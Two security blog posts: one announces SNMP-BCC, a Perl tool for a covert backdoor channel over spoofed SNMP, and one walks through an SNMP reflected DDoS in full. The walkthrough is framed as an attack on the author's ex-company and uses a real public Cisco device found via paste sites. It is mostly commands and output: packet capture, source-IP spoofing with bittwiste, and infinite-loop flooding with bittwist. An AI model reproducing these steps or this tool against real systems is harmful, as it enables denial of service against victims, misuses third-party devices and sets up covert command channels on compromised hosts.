SNMP (Simple Network Management Protocol) is a UDP based protocol used mainly for monitor purposes. Its connectionless UDP nature makes SNMP exposed to IP source spoofing attacks. Although, this does not seem to concern network and system administrators as my pen-test cases reveal. The reason that usually (although wrongly) admins do not bother to secure their agents is the read-only behavior. While SNMP offers both read (get info) and write (set configuration variables) under most infrastructures only the read behavior is implemented serving monitor purposes. This creates a belief to admins that there are not any undergoing security risks shifting the problem to anti-spoofing mechanisms.

While messing around with SNMP functionalities the idea for developing SNMP-BCC was born as a PoC to the above wrong approach of the SNMP setups. SNMP-BCC is capable to create a stealth backdoor communication channel with an “owned” host using an SNMP agent as a relay. Initially the desired to sent data are packed following the ASN.1 OID prototype in an SNMP GetRequest packet. Then the source IP address of the UDP packet is altered to the end client’s IP address. This source spoofed packet is transmitted to the public SNMP agent (community string must be known). Of course the SNMP agent can not locate this invalid OID and replies with an error response for the given OID. This error response containing the unattached initial packed data is finally transferred to the end host. Then the client with the relevant decoder can parse the data.

SNMP-BCC is mainly a post exploitation tool that a pen-tester can use to establish a stealth and hard to detect communication channel with a compromised host. Despite the backdoor communcation purposes someone can use the tool for data leakage and node pivoting purposes. While writing this post, the whole project is in its early stage and I haven’t yet decided if it is worth continuing and if so the working model. Although, I developed and made public SNMP-BCC in order to have feedback from my colleagues and infosec community for the next steps.

SNMP-BCC is written in perl using the raw-sockets library and is available at Github under GPLv3 license. Using ‘snmpbcc.pl’ users can create spoofed SNMP packets with system commands under a user interactive pseudo shell mode. For testing purposes the project also includes the ‘backdoor.pl‘ file that serves as a listener in the end host client. I haven’t implemented a fully ASN.1 decoder at the backdoor code, that’s why the command is wrapped with some special characters (‘#$#’) in order to be easily obtained from the response message.

You can get the latest version of the tool by cloning the repository

git clone git://github.com/anestisb/SNMP-BCC.git

Or by directly downloading the zip project archive

https://github.com/anestisb/SNMP-BCC/zipball/master

Here is a screenshot with SNMP-BCC in action:

Your comments are greatly appreciated for tool’s evolution.

A. Bechtsoudis

What about 0-day bugs & exploits in the running snmp services? Yes i have to admit that it is a rare scenario, although not impossible specially for the network devices were we have infrequent or nonexistent OS updates.

But the real security hazard is the actual implementation of the SNMP protocol. In a common SNMP v1 and v2 transaction, the client sends a SNMP request with the relevant OID code and the SNMP server replies with the relevant data. SNMP is a connectionless UDP based protocol making it extremely vulnerable to IP spoofing. Somebody can capture a legitimate SNMP request, alter the source IP with an other and sends the request to the SNMP server on behalf of the edited IP. The response packet will be sent to the new IP address.

Let us assume the following scenario:
I want to conduct a DDoS attack targeting the main server of my ex company. I have scanned large subnets and found out open SNMP services (mostly routers, switches and network printers) knowing their public communities. Then I create a lot of SNMP request packets with victim’s server IP address as source and the list of the public SNMP services as destination addresses. The packet generator runs into loops to create large amounts of SNMP requests on behalf of the victim machine. All the SNMP responses with relevant payload are delivered to the victim server causing congestion and exhaustion to its resources.

The above scenario is the so called “SNMP Reflected Denial of Service“. Of course some ISPs, enterprise border routers and firewalls have mechanisms to prevent IP spoofing, although there exist techniques to bypass them that are beyond the scope of this article.

To present the convenience of the spoofed packet generation, I will present with every detail the whole procedure using the relevant tools.

First of all lets find out a publicly accessed SNMP service. When we talk about SNMP the first that comes to my mind is a Cisco device. The trivial method to discover an open service is to scan large subnets using relevant networking scanning tools. I will use a different approach using pastenum to search into text dump sites. Giving some Cisco configuration strings as input to pastenum, the first result have lead me to the 173.165.68.49 Cisco device.

Now that we have a public community lets create the test network as showed in the following image:

192.168.2.4 is the attacker’s machine.
192.168.2.5 is a test machine in which we will test our scenario before attacking the victim.
192.168.2.7 is the victim server.

Lets create now a simple snmp request using the snmpwalk tool, while in parallel we capture the traffic using the tcpdump tool.

root@192.168.2.4:~# snmpwalk -v 2c -c public 173.165.68.49 1.3.6.1
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Fri 07-Sep-07 16:05 by prod_rel_team

root@192.168.2.4:~# tcpdump -nnvvSX -s 0 -i wlan0 -w capture.pcap
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes 
 
36 packets received by filter
0 packets dropped by kernel

Using wireshark we can have a deeper look into the capture file and more specifically to the SNMP request.

Now that have studied the SNMP request packet form, lets isolate the first SNMP request (packet number 7) using the editcap tool.

root@192.168.2.4:~# editcap -r capture.pcap snmp_req.pcap 7
Add_Selected: 7
Not inclusive ... 7
root@192.168.2.4:~# tcpdump -nnvvSX -r snmp_req.pcap
reading from file snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
    192.168.2.4.52717 > 173.165.68.49.161: [udp sum ok]  { SNMPv2c { GetNextRequest(23) R=184115647  .1.3.6.1 } }
	0x0000:  4500 0042 0000 4000 4011 8628 c0a8 0204  E..B..@.@..(....
	0x0010:  ada5 4431 cded 00a1 002e 0876 3024 0201  ..D1.......v0$..
	0x0020:  0104 0670 7562 6c69 63a1 1702 040a f961  ...public......a
	0x0030:  bf02 0100 0201 0030 0930 0706 032b 0601  .......0.0...+..
	0x0040:  0500                                     ..

The next step is to change the packet’s source IP address using the bittwiste packet editor which is part of the bittwist project. I will alter the source IP address from 192.168.2.4 to 192.168.2.5 which is an other PC in the subnet that we have access. The bittwiste tool automatically recalculates the new checksum. If you want more details about the tool you can refer to the official documentation.

root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed_snmp_req.pcap -T ip -p 17 -s 192.168.2.5
input file: snmp_req.pcap
output file: spoofed_snmp_req.pcap
 
1 packets (80 bytes) written
root@192.168.2.4:~# tcpdump -nnvvSX -r spoofed_snmp_req.pcap
reading from file spoofed_snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
    192.168.2.5.52717 > 173.165.68.49.161: [udp sum ok]  { SNMPv2c { GetNextRequest(23) R=184115647  .1.3.6.1 } }
	0x0000:  4500 0042 0000 4000 4011 8627 c0a8 0205  E..B..@.@..'....
	0x0010:  ada5 4431 cded 00a1 002e 0875 3024 0201  ..D1.......u0$..
	0x0020:  0104 0670 7562 6c69 63a1 1702 040a f961  ...public......a
	0x0030:  bf02 0100 0201 0030 0930 0706 032b 0601  .......0.0...+..
	0x0040:  0500

Now we need to send the new request with the spoofed IP using a packet generator, i choose the bittwist tool. In order to confirm that the answer to the request reaches the spoofed source i will launch a tcpdump capture to the 192.168.2.5 machine.

Firstly i use -d option of bittwist to list the interfaces and then i use the wlan0 device to send the spoofed packet.

root@192.168.2.4:~# bittwist -d
1. eth0
2. wlan0
3. usbmon1 (USB bus number 1)
4. usbmon2 (USB bus number 2)
5. usbmon3 (USB bus number 3)
6. usbmon4 (USB bus number 4)
7. usbmon5 (USB bus number 5)
8. usbmon6 (USB bus number 6)
9. usbmon7 (USB bus number 7)
10. vmnet8
11. usbmon8 (USB bus number 8)
12. any (Pseudo-device that captures on all interfaces)
13. lo
root@192.168.2.4:~# bittwist -i 2 spoofed_snmp_req.pcap
sending packets through wlan0
trace file: spoofed_snmp_req.pcap
 
1 packets (80 bytes) sent
Elapsed time = 0.000143 seconds

root@192.168.2.5:~# tcpdump -nnvvSX -s 0 -i eth0 -w capture.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
 
19 packets received by filter
0 packets dropped by kernel
root@192.168.2.5:~#
root@192.168.2.5:~# tcpdump -nnvvSX -r capture.pcap | grep SNMP
reading from file capture.pcap, link-type EN10MB (Ethernet)
22:15:20.295633 IP (tos 0x38, ttl 238, id 56597, offset 0, flags [none], proto UDP (17), length 330) 173.165.68.49.161 > 192.168.2.5.52717: [udp sum ok]  { SNMPv2c { GetResponse(283) R=184115647  .1.3.6.1.2.1.1.1.0="Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)^M^JTechnical Support: http://www.cisco.com/techsupport^M^JCopyright (c) 1986-2007 by Cisco Systems, Inc.^M^JCompiled Fri 07-Sep-07 16:05 by prod_rel_team" } }

Knowing that our scenario works it is time to launch the actual attack to the target machine. We use again the bittwiste editor to change the source to 192.168.2.7 which is the victim’s IP address.

root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed2_snmp_req.pcap -T ip -p 17 -s 192.168.2.7
input file: snmp_req.pcap
output file: spoofed2_snmp_req.pcap
 
1 packets (80 bytes) written

In order to see the bandwidth impact results, i will not send only one packet like our previous attempt, instead i will use the infinite loop flag from the bittwist packet generator.

root@192.168.2.4:~# bittwist -i 2 spoofed2_snmp_req.pcap -l 0
trace file: spoofed2_snmp_req.pcap
trace file: spoofed2_snmp_req.pcap
...
 
2061710 packets (164936800 bytes) sent
Elapsed time = 140.923743 seconds

I used the simple bandwidthd monitor tool to measure the bandwidth load. From the following graph it is pretty obvious that ~2M packets from only one source caused a measurable load to the victim machine. We reached a peak of ~40KB/sec while the normal UDP traffic is bellow 4KB/sec

Apart from the network load that i showed, an attacker can cause a service load too. This can be done by changing the SNMP request source port, using a victim’s open UDP port. This attack results in a great load to the running service that knees down the machine.

Conclusions:

It is now pretty obvious from the above facts that publicly accessible SNMP services can cause great loads to victim servers. Attackers can successfully launch DDoS attacks without needing to control large botnets. A few hosts that run the packet generation scripts are enough to conduct an efficient Reflected DDoS attack.
Till now i have never run this attack scenario in a large scale environment to include more details about the SNMP Reflected DDoS results. Although it is in my future plans to conduct a relative research.

PS: If someone have come across with a relative research, I would appreciate if he/she sent me an email with the sources.

DISCLAIMER: I’m not responsible with what you do with this info. This information is for educational purposes only.

A. Bechtsoudis